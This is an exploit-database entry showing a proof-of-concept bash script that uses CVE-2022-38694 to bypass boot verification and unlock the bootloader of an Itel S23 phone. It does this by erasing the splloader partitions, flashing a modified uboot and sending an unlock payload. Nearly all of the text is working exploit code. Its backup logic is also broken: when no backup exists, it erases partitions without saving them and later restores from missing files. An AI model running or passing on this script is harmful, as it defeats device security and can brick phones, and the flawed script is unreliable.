Exploit database

GH-014ba4149a4e473e46628c85c52eeaec

aureliusivaninvenioptl/ubl-itel-s23

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-38694

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files24

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/spreadtrum_flash_linux/unlock.sh

Shell · 4,735 bytes
#!/bin/bash
set -e

echo "======================================="
echo "  Itel S23 (S665L) Bootloader Unlock"
echo "  Using CVE-2022-38694 / spd_dump"
echo "======================================="
echo ""
echo "PREREQUISITES:"
echo "  - Phone ON and connected via USB"
echo "  - OEM Unlock enabled in Developer Options"
echo "  - Battery 80%+"
echo "  - Run with: sudo ./unlock.sh"
echo ""
echo "WARNING: Phone will temporarily not boot during this process!"
echo "         Do NOT disconnect the USB cable!"
echo ""
read -p "Press Enter to start (Ctrl+C to cancel)..."

ADDR_NOVERIFY="0x65015f08"
ADDR_NOVERIFY2="0x65015f08"
ADDR_FDL1="0x65000800"
ADDR_FDL2="0x9efffe00"
SPL_OFFSET="0xfd28"

chmod +x ./spd_dump ./gen_spl-unlock 2>/dev/null

# ============================================
# STEP 1: Backup splloader + uboot, erase splloader
# ============================================
echo ""
echo "======================================="
echo "STEP 1: Backup splloader & uboot, erase splloader"
echo "======================================="
echo "After this step the phone will NOT boot until Step 6."
echo ""

if [[ -f "splloader.bin" && -f "uboot.bin" ]]; then
    echo "Backup files already exist, skipping backup."
    echo "Delete splloader.bin and uboot.bin to force re-backup."
    read -p "Press Enter to continue with erase only..."
    ./spd_dump exec_addr $ADDR_NOVERIFY fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec e splloader e splloader_bak reset
else
    # ./spd_dump exec_addr $ADDR_NOVERIFY fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec r splloader r uboot e splloader e splloader_bak reset
    # Phone already has splloader erased, just erase backup too
    ./spd_dump exec_addr $ADDR_NOVERIFY fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec e splloader e splloader_bak reset
    cp splloader.bin backup_spl/ 2>/dev/null
    cp uboot.bin backup_spl/ 2>/dev/null
    echo "Backed up to backup_spl/"
fi

sleep 3

# ============================================
# STEP 2: Generate spl-unlock.bin
# ============================================
echo ""
echo "======================================="
echo "STEP 2: Generate spl-unlock.bin"
echo "======================================="

if [[ -f "spl-unlock.bin" ]]; then
    echo "spl-unlock.bin already exists, skipping."
else
    ./gen_spl-unlock splloader.bin $SPL_OFFSET
    echo "Generated spl-unlock.bin"
fi

sleep 2

# ============================================
# STEP 3: Flash modified uboot
# ============================================
echo ""
echo "======================================="
echo "STEP 3: Flash modified uboot (fdl2-cboot.bin)"
echo "  Hold Volume Down and reconnect phone"
echo "======================================="
read -p "Press Enter when ready..."

./spd_dump exec_addr $ADDR_NOVERIFY2 fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec w uboot fdl2-cboot.bin reset

sleep 5

# ============================================
# STEP 4: Send unlock payload
# ============================================
echo ""
echo "======================================="
echo "STEP 4: Send bootloader unlock payload"
echo "  Hold Volume Down and reconnect phone"
echo "======================================="
read -p "Press Enter when ready..."

./spd_dump exec_addr $ADDR_NOVERIFY2 fdl spl-unlock.bin $ADDR_FDL1

sleep 5

# ============================================
# STEP 5: Verify unlock status
# ============================================
echo ""
echo "======================================="
echo "STEP 5: Verify unlock status"
echo "  recv 64 zero = LOCKED (failed)"
echo "  recv 32 string + hash  = UNLOCKED (success)"
echo "  Hold Volume Down and reconnect phone"
echo "======================================="
read -p "Press Enter when ready..."

./spd_dump exec_addr $ADDR_NOVERIFY2 fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec verbose 2 read_part miscdata 8192 64 m.bin reset

sleep 5

# ============================================
# STEP 6: Restore original splloader & uboot
# ============================================
echo ""
echo "======================================="
echo "STEP 6: Restore original splloader & uboot"
echo "  Hold Volume Down and reconnect phone"
echo "======================================="
read -p "Press Enter when ready..."

./spd_dump exec_addr $ADDR_NOVERIFY2 fdl fdl1-dl.bin $ADDR_FDL1 fdl fdl2-dl.bin $ADDR_FDL2 exec w splloader splloader.bin w uboot uboot.bin reset

echo ""
echo "======================================="
echo "DONE! Phone should reboot."
echo "Check unlock status with:"
echo "  adb shell getprop ro.boot.vbmeta.device_state"
echo "  (should say 'unlocked')"
echo "======================================="